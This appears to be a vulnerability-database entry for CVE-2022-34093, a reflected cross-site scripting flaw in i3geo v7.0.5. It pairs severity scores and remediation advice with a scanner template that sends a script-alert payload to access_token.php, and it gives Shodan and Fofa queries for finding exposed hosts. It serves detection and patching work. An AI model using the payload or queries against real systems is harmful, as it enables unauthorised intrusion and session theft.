SecurityContext

CVE-2022-34093: Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.02629
  • Epss percentile: 0.85892
  • Cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="i3geo"
  • Max-request: 1
  • Product: i3geo
  • Shodan-query: http.html:"i3geo"
  • Vendor: softwarepublico
  • Verified: yes

Products

ProductIndexedUrl
softwarepublico:i3geoyes/v1/products/softwarepublico/i3geo

Labels

  • Name: Portal do Software Publico Brasileiro i3geo - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Sanitize and validate input in access_token.php, and update to the latest version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must visit a malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2022-34093

```yaml

id: CVE-2022-34093

info:

name: Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

Portal do Software Publico Brasileiro i3geo v7.0.5 was discovered to contain a cross-site scripting (XSS) vulnerability via access_token.php.

impact: |

Attackers can inject malicious JavaScript through parameters in the LinkedIn OAuth access_token.php endpoint that executes in users' browsers, potentially stealing session tokens or performing unauthorized actions in the i3geo geographic information system.

remediation: |

Update i3geo to a version later than 7.0.5 that properly sanitizes and encodes user input in access_token.php.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2022-34093

- https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt#L44

- https://owasp.org/www-community/attacks/xss/

- https://softwarepublico.gov.br/social/i3geo

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-34093

cwe-id: CWE-79

epss-score: 0.02629

epss-percentile: 0.85892

cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: softwarepublico

product: i3geo

shodan-query: http.html:"i3geo"

fofa-query: body="i3geo"

tags: cve,cve2022,i3geo,xss,softwarepublico,vuln

http:

- method: GET

path:

- "{{BaseURL}}/i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E"

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(content_type, "text/html")'

- 'contains_all(body, "%3Cscript%3Ealert(document.domain)%3C/script%3E", "Invalid consumer key")'

condition: and

digest: 4a0a00473045022100916296b351c6a9ce10d6023c118f9d2a460cfbcec06fd0e2aa6e5745fe5c7787022032eed6d4b64ea64246426d5c7aa486de3f7149dd14dc80902195e4ef639dae62:922c64590222798bb761d5b6d8e72950

```